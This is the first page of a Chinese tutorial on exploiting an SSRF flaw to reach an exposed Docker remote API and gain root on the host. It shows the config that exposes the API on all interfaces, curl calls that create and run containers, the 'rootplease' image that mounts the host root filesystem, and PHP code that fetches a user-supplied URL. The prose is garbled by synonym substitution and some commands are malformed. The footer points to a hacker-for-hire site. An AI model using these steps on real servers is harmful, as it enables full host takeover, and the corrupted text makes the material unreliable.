经过SSRF缝隙进犯Docker长途API获取服务器Root权限

经过SSRF缝隙进犯Docker长途API获取服务器Root权限这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来…

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来完结提权等一系列的操作?查找了各种材料之后,终究笔者探究到了一条经过SSRF缝隙来进犯Docker长途API,然后取得长途主机的root权限的进犯思路,经过这篇文章来共享一下整个进程及其防备的办法。
1. Docker长途API介绍
Docker长途API是Docker团队为了便运用户长途管理Docker而供给的一套API接口。在默许的情况下,Docker Daemon运转于Unix Socket上,一般为unix:///var/run/docker.sock。
当需求长途管理Docker服务器或许是创立Docker集群时,或许需求敞开Docker的长途API。在Ubuntu上的一种敞开办法如下:
修正/lib/systemd/system/docker.service文件,修正ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就能够运用Docker客户端或许恣意http客户端拜访Docker服务,例如:

能够看到Docker供给的API实质上是一个RSTful方式的http接口,详细的文档能够从Docker的官网获取:Engine API V1.24。
这儿列出几个重要的接口:
列出一切的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出一切镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
  “Id”:”sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd”,
  “ParentId”:”sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96″,
  …
}]
创立并运转容器:
$ curl  -H “Content-Type: application/json”
  -d ‘{“Image”: “alpine”, “Cmd”: [“echo”, “hello world”]}’
  -X POST http:/localhost:4243/v1.24/containers/create
{“Id”:”1c6594faf5″,”Warnings”:null}
$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{“StatusCode”:0}
$ curl  “http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1”
hello world
到了这儿,咱们能够看到假如开放了Docker长途API,咱们便能够运用RESTful接口来完结一系列Docker容器操作。
2. 运用docker容器提权
有些朋友或许会问了:Docker容器内部是一个与主机阻隔的虚拟化环境,怎样才能运用Docker容器获取主机操控权?这儿就涉及到Docker运转时的用户权限了。Docker Daemon运转时是以root用户运转,因此具有极高的权限:
$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep –color=auto –exclude-dir=.bzr –exclude-dir=CVS –exclude-dir=.git –exclude-dir=.hg –exclude-dir=.svn dockerd
那么怎样经过Docker Daemon终究取得服务器的root权限?这儿咱们能够运用Docker挂载宿主机文件的功用,直接挂载高权限目录,然后在容器内部获取宿主机的操控权限。
这儿有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运转后的输出如下:

退出Docker,检查宿主机/root/目录:

咱们能够看到成功在/root文件夹写入了一个文件。
上面那条指令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease首要的作用是:从 Docker Hub上面下载咱们指定的镜像,然后运转。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,而且运用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,首要内容就是chroot到/hostOS中。这样咱们便经过读写宿主机的恣意文件完结了获取宿主机的最高权限。这个镜像的源码能够在 Github上获取。
3. 经过SSRF完结进犯
这儿咱们的服务器端环境如下:

在PHP中经常出现,导致SSRF缝隙的代码完结:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET[‘url’]);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

[1] [2] [3]  黑客接单网

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/10077.html

(0)

相关推荐

  • 在线音乐教育品牌\

    受“双减”政策影响,在线教育迎来行业大地震,不少素质教育平台也受此波及关停倒闭。11月6日,在线音乐教育品牌“快陪练”发布公告称,公司面临巨大生存挑战和经营困境,现将申请破产清算,成为继趣口才后第二家退场的素质教育公司。(详情见网经社专题:https://www.100ec.cn/zt/yinyue/)

    科技 2021年11月9日
  • 长寿秘诀:南非路易波士茶有助于抵抗年龄相关疾病,并延长寿命

    【英国《每日快报》2021年9月29日文章】题:如何长寿?暖、红酿通过降低心血管疾病风险来延长寿命。

    生活 2021年9月30日
  • 会计核算方法包括哪些,常用的会计核算方法

    会计核算方法包括哪些,常用的会计核算方法会计核算也是会计反映,以货币为主要的计量尺度,对会计主体的资金运动进行反映。但是根据不同的会计凭证、会计账簿、会计报表的种类、格式以及记账程序、产生不同的会计核算形式。下面跟着用好

    教程 2021年10月26日
  • 苟富贵勿相忘一句出自哪里,苟富贵勿相忘的富贵

    苟富贵勿相忘下一句「建议收藏」网友提问:苟富贵勿相忘下一句「建议收藏」优质回答:我们小时候都在语文课本中学过《陈涉世家》的部分内容,其中一些脍炙人口的话在如今成为名言,例如“王侯将相宁有种乎”、“苟富贵,勿相忘”等,经常

    攻略 2021年12月17日
  • 烟草局退休金多少钱(烟草局退休金补贴)

    ? ? ? ? ? ? ? 【图文摘自网络,如有侵权请联系删除】 现在很多年轻人找工作,往往比较关注收入的高低,这比较好理解,工作就是为了获得薪酬。但是,年轻人不能只关注工作时,能…

    生活 2021年12月28日
  • 如何运用爬虫框架Scrapy部署爬虫

    技术如何运用爬虫框架Scrapy部署爬虫这篇文章将为大家详细讲解有关如何运用爬虫框架Scrapy部署爬虫,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。这里主要讲述如何将我

    攻略 2021年11月19日